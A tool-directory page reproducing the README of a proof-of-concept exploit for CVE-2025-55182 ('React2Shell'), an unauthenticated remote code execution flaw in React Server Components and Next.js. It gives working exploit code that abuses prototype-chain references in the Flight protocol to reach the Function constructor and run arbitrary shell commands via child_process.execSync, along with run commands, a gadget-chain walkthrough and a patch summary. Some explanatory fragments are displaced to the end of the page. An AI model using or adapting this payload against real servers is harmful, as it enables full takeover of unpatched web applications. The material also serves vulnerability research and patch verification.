Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2025-55182-poc — Proof-of-concept for CVE-2025-55182 (React2Shell): unauthenticated RCE in React Server Components / Next.js via Flight protocol deserialization. | Kitploit
Tools/GitHubGitHub/monarchfish/cve-2025-55182-poc
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubmonarchfish/cve-2025-55182-poc

cve-2025-55182-poc

Proof-of-concept for CVE-2025-55182 (React2Shell): unauthenticated RCE in React Server Components / Next.js via Flight protocol deserialization.

View Repository
5 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Basic Information

CVE-2025-55182 is one of the most impactful Web framework vulnerabilities of 2025. React Server Components (RSC) are now the mainstream architecture for modern Next.js applications, and a large number of standard projects created with create-next-app are within the affected scope, requiring no custom code to be exploited.

ItemContent
CVE IDCVE-2025-55182
AliasReact2Shell
Vulnerability TypeUnauthenticated Remote Code Execution (Unauthenticated RCE); CWE-502 Deserialization of Untrusted Data [3]
CVSS Score10.0 (Critical) (CVSS 3.1, Facebook/CNA [2])
Affected Packagesreact-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack
Affected VersionsReact 19.0.0~19.2.0 / Next.js 14.3.0-canary.77 and above, 15.x, 16.x
Attack ComplexityVery Low (Single HTTP POST Request)
Authentication RequiredNo

POC Setup Process

1. Create App Using Official Syntax

Create a Next application using the vulnerable version (16.0.6):

root@kitploit:~
pnpm create [email protected] next-app --yes

2. Create a Test Server Action

  1. In next-app/app/, add actions.ts and flag it as a Server Action:

    root@kitploit:~
    "use server";
    
    export async function testAction(formData: FormData) {
      console.log("Action called with:", formData);
    }
    
  2. On the home page (e.g., app/page.tsx), add a form with action pointing to the testAction above, and include at least one field (e.g., a hidden input).

    Next.js will generate a hidden input name="$ACTION_ID_<40-character hex>" for that form in the HTML; the POC extracts this ID from the home page HTML using a regex.

3. Set Up a Secure Containerized POC Environment

The project includes next-app/Dockerfile and docker-compose.yml to build and run the Next application; the Dockerfile can be written following the official example [8].

Run the following in the project root:

root@kitploit:~
docker compose up --build -d

The started Next application will then be accessible at http://localhost:3000.

After the POC is complete, completely remove the Docker environment:

root@kitploit:~
docker compose down -v

Exploitation Steps

Step 1: Obtain the ACTION_ID

When running the POC, the script fetches the home page and extracts the ID using the regex \$ACTION_ID_([a-f0-9]{40})/. Example:

root@kitploit:~
const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/

async function extractActionIdFromPage(baseUrl: string) {
  const response = await fetch(baseUrl);
  const html = await response.text();
  const match = html.match(ACTION_ID_REGEX);
  return match ? match[1] : "";
}

Step 2: Execute the Exploit

After installing dependencies in the project root, run:

root@kitploit:~
pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]

Key code snippet below:

root@kitploit:~
function escapeExecutable(executable: string) {
  return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}

const escapedExecutable = escapeExecutable(executable);

const craftedChunk = {
  then: "$1:__proto__:then",
  status: "resolved_model",
  reason: -1,
  value: '{"then": "$B0"}',
  _response: {
    _prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
    _formData: {
      get: "$1:constructor:constructor",
    },
  },
};

const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');

const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);

try {
  const response = await fetch(baseUrl, {
    method: "POST",
    headers: { "Next-Action": actionId },
    body: formData,
    signal: controller.signal,
  });
  clearTimeout(timeoutId);
  const text = await response.text();
  console.log(`Status Code: ${response.status}`);
  console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
  // handle timeout or error
}

Example: write a file on the target host:

root@kitploit:~
pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"

Step 3: Observe Results

  • When RCE succeeds, the server may hang or time out after executing the command; this timeout is expected behavior.
  • Confirm on the target host whether the command has been executed (e.g., check for the file, process).
  • You can use docker compose exec to enter the container and inspect, or use Docker Desktop.

Explanation of the Vulnerability

Vulnerability Location

The vulnerability resides in React's Flight Protocol Deserialization Mechanism (RSC Flight Deserializer). This mechanism is responsible for passing React component state between server and client, but the processing flow suffers from a severe trust boundary issue.

React Flight Protocol is the wire format designed by React for Server Components and Server Actions: it serializes component trees, function parameters, etc., into a stream of chunks represented as JSON, and uses $number, $number:key to create references between chunks, allowing the server to reconstruct full JavaScript values.

Exploit Chain

root@kitploit:~
Attacker sends malicious HTTP POST
        ↓
[Stage 1] Create a self-referential loop object
        ↓
[Stage 2] Trick the JavaScript engine into calling an attacker-controlled function
        ↓
[Stage 3] Inject malicious data to trigger the Flight initialization flow
        ↓
[Stage 4] Call the Function constructor via Blob Handler
        ↓
Arbitrary JavaScript executes on the server (RCE)

React Server & Transport Format

React's Server Functions (in Next.js, Server Actions) serialize data sent from the frontend to the backend into "chunks" using the React Flight Protocol, then send them as form data.

Advantages of this design include:

  • Streaming transport: chunks can be generated and parsed sequentially without waiting for the entire payload, benefiting latency and memory control.
  • Deduplication and sharing: the same data is serialized only once, with multiple references pointing to it, reducing duplication and transmission volume.
  • Compatible with form POST: chunks are sent as multipart fields, requiring no custom binary protocol, and are friendly to existing CDNs, proxies, and debugging.
  • Express complex structures: supports nested objects and graph structures expressed via references, satisfying the rich types needed for RPC.

Chunks can reference each other; for example:

  • chunk 0: ["$1"] (references chunk 1)
  • chunk 1: {"object":"fruit","name":"$2:fruitName"} (references the fruitName of chunk 2)
  • chunk 2: {"fruitName":"cherry"}

After server interpretation, the result is: { object: 'fruit', name: 'cherry' }. In other words, the protocol allows pointing to properties of other chunks via $number:key and then combining them into the final JavaScript object.

Root Cause of the Vulnerability

In the pre-patched implementation, when parsing these references, there was no strict check that "the key actually exists on the object itself". Consequently, attackers could read properties on the object's prototype via references.

For example, the following payload can be constructed:

  • chunk 0: ["$1:__proto__:constructor:constructor"]
  • chunk 1: {"x":1}

When the server resolves "chunk 1's __proto__ → constructor → constructor", it obtains the Function constructor ([Function: Function]), i.e., the built-in constructor that creates functions from strings. In other words: through an improper reference chain, an attacker can obtain Function on the server side, and thereby execute strings as code.

thenable and await

When Next.js receives the form, it uses decodeReplyFromBusboy to restore the chunks into a value, and then awaits that value.

In JavaScript, if an object has a .then method, it is considered a thenable; when awaited, that .then will be called. Therefore, if the .then of the "decoded result" points to an attacker-controlled function (e.g., the Function constructor described above), that logic will be executed during the await. The next step of the attack is: construct an object that, after decoding, appears to be a thenable, and point its .then to the intended call gadget.

From "Fake Chunk" to RCE

  1. Use $@0 to reference the "original chunk"
    In the protocol, $@number means "take the raw content of chunk N, without further parsing". Therefore, chunk 1 can be "$@0", causing the parsing process to read the raw representation of "chunk 0 itself".

  2. Point chunk 0's .then to the Chunk's prototype
    If chunk 0 is an object shaped like {"then": "$1:__proto__:then", ...}, and chunk 1 is "$@0", then during parsing, chunk 0's .then is set to Chunk.prototype.then (in Flight protocol, a Chunk is itself a thenable). Consequently, when Next.js awaits the decoded result, it enters the Chunk's .then logic.

  3. Trigger initializeModelChunk
    Inside Chunk.prototype.then, if the "fake chunk" has status set to "resolved_model", it enters initializeModelChunk. This parses the chunk's as JSON and performs a round of "revival" on the parsed object, which processes various special prefixes (e.g., for blob references).

Patch Summary

React fixed this vulnerability in PR #35277 [9] (commit e2fd5dc [10]), with two main points:

  1. Restrict property resolution to not traverse the prototype chain
    In logic such as requireModule that resolves chunk references, the code now checks with hasOwnProperty whether the key actually exists on the object itself; if not, it returns undefined, preventing the retrieval of constructor and other exposed properties from __proto__. This change is applied across multiple Flight-related modules (e.g., ReactFlightClientConfigBundlerNode, ReactFlightClientConfigBundlerWebpack, and the corresponding Parcel/Turbopack configurations), blocking the exploit chain: "obtain Function constructor via references → construct thenable → trigger get gadget to execute arbitrary code".

  2. Error handling in decodeReplyFromBusboy
    try/catch was added when parsing form data (e.g., resolveField, resolveFileComplete) so that if parsing throws an error, is called, ensuring the error is properly propagated and preventing the stream from being in an inconsistent state, thus reducing the exploit surface during abnormal parsing.


References

  1. NVD — CVE-2025-55182
  2. CVSS 3.1 Score (Facebook/CNA)
  3. CWE-502 — Deserialization of Untrusted Data
  4. React Official Announcement — Critical security vulnerability in React Server Components
  5. Facebook Security Advisory — CVE-2025-55182
  6. CISA Known Exploited Vulnerabilities Catalog
  7. Next.js Security Advisory — RCE in React Server Components
  8. Next.js with-docker Example Dockerfile
  9. React PR #35277 — Patch FlightReplyServer with fixes from ReactFlightClient
  10. Specific Changes of React PR #35277 (commit e2fd5dc)
  11. POC Reference
Download Tool
value
$B
  • Call gadget: _response._formData.get(_prefix + id)
    When processing the $B prefix, the code executes:
    response._formData.get(response._prefix + some id).
    If, through _response, the attacker controls _formData and _prefix, and sets _formData.get to the Function constructor, and _prefix to the malicious code string, that line becomes:
    Function("our written code" + "0")
    i.e., "create a function from a string". This function is then returned as the .then value of that chunk and is subsequently awaited in the same promise chain, thereby executing our code on the server.

  • Actual RCE
    Changing "our written code" to something like:
    process.mainModule.require('child_process').execSync('system command to execute');
    achieves Remote Code Execution (RCE) on the server.

  • busboyStream.destroy(error)